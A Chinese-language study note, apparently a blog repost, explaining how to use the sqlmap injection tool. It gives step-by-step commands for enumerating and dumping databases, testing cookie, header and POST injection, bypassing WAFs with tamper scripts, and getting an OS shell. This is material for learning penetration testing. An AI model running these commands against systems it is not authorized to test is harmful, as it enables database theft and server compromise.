zoukankan      html  css  js  c++  java
  • 2019-10-28:渗透测试学习,sqlmap的使用,笔记

    sqlmap工具的使用
    sql注入工具,明小子,啊D,萝卜头,穿山甲,sqlmap等
    开源自动化注入利用工具,支持的数据库有12种,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中是最好用的
    支持的注入类型,bool,时间,报错,联合,堆查询,内联,可以获取用户名,密码,权限,角色,数据库(表,字段,内容),可以爆破识别密文数据,getshel,命令执行,拖库/删库

    sqlmap文件夹
    doc,介绍文档
    extra,是sqlmap额外的功能,运行cms执行命令
    lib,sqlmap核心功能代码
    pluigins包含12种数据库识别程序
    data存放攻击过程中的使用的工具或命令脚本,data文件加下,procs包含的mssql,mysql,orcale,postgresql的触发方式,shell是远程命令和后门,txt是表名列名字典,udf妨攻击载荷pyload,xml是检测的pyload
    tarmper,包含各种绕waf的处理脚本
    thirdparty,第三方处理程序插件,颜色,优化,等

    sqlmap工作流程
    1,初始化
    2,开始检测,检测之前是否对某个url注入过,会把检测的url默认存放在用户家目录中.sqlmap下的output,使用--output-dir参数可以指定存放的目录-->解析url,判断该url是否可以访问-->检测是否有waf,sqlmap -u "url" --identify-waf, sqlmap -u "url" --checkwaf -->执行用户输入的参数,-u指定url,-p执行参数,-v指定显示的级别,--dbs所有数据库,--current-db当前数据库,--tables表名,--columns列名,--dump获取数据,--batch跳过问询,--DBMS指定数据库类型等

    步骤详解
    1,判断注入点,sqlmap -u "目标url",当看到结果中有环境参数,表名有注入,系统类型,数据库类型,后台版本等
    2,查看所有的数据库,sqlmap -u "url" --dbs --dbms mysql
    3,获取当前数据库,sqlmap -u "url" --current-db --dbms mysql
    4,获取数据库下的表,sqlmap -u "url" -D 库名 --dbms mysql --batch --tables
    5,获取数据库下指定表的字段名,sqlmap -u "url" -D 库名 -T 表名 --columns
    6,获取指定字段的内容,sqlmap -u "url" -D库名 -T表名 -C 字段名 --dump,字段名可以多个,需要,逗号隔开

    POST型注入的sqlmap利用方法
    1,拦截数据包,保存到txt文件
    2,python sqlmap -r 文件路径 -p "测试参数" ,-r读取指定的文件,-p指定注入的参数

    cookie注入
    --level=1-5级别,执行测试的登录,默认的是1,--level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

    xff注入,X-Forwarded-For
    sqlmap -u "url" -p "X-Forwarded-For" --level 3
    sqlmap -r 文件路径 --level 3

    UA,user-agnet注入同上

    伪静态注入
    sqlmap -u "url",要测试伪静态,在要测试的参数后边加*,之后测试就行

    -v 0-6
    如你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。
    共有七个等级,默认为1:
    0、只显示python错误以及严重的信息。
    1、同时显示基本信息和警告信息。(默认)
    2、同时显示debug信息。
    3、同时显示注入的payload。
    4、同时显示HTTP请求。
    5、同时显示HTTP响应头。
    6、同时显示HTTP响应页面。

    风险等级--risk
    共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

    参数
    列数据库管理用户--users,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
    -b,--banne,大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。
    -current-user,在大多数据库中可以获取到管理数据的用户。
    --current-db,返还当前连接的数据库。
    --tamper,修改注入的数据,sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用--tamper参数对数据做修改来绕过WAF等设备。
    --roles,数据库用户角色
    --password 数据库密码
    --hostname,系统名称

    sqlmap注入点执行系统命令或者交互式shell
    条件1,数据库有写文件权限,条件2,需要知道web站点的路径
    sqlmap.py -u "url" --os-cms=ipconfig
    --os-shell,获取系统的shell
    --is-dba,判断当前用户是否是dba,是否为管理员
    延时注入,--delay 2 延时注入
    --sql-query,--sql-shell
    sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。
    如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。

    sqlmap直连mysql数据库
    sqlmap -d "mysql://root:root@localhost:3306/mysql" -f --banner --dbs --users

    sqlmap注入利用access
    access数据库,没有库的概念,打开的数据库文件看到的只有表和字段以及内容
    sqlmap -u "url" --tables
    sqlmap -u "url" --T 表名 --columns
    sqlmap -u "url" -T表名 -C 字段名 --dump

  • 相关阅读:
    Win7双击任务栏图标导致窗口还原的问题
    一致性哈希算法及其在分布式系统中的应用(转)
    CAP理论(转)
    从Android界面开发谈起(转)
    Android开发入门之Window 环境概念介绍(转)
    数据库缓存技术(转)
    VoltDB开篇 简介(转)
    window下如何让php支持openssl(转)
    mysql分表的3种方法(转)
    linux crontab 每10秒执行一次
  • 原文地址:https://www.cnblogs.com/sym945/p/11754412.html
Copyright © 2011-2022 走看看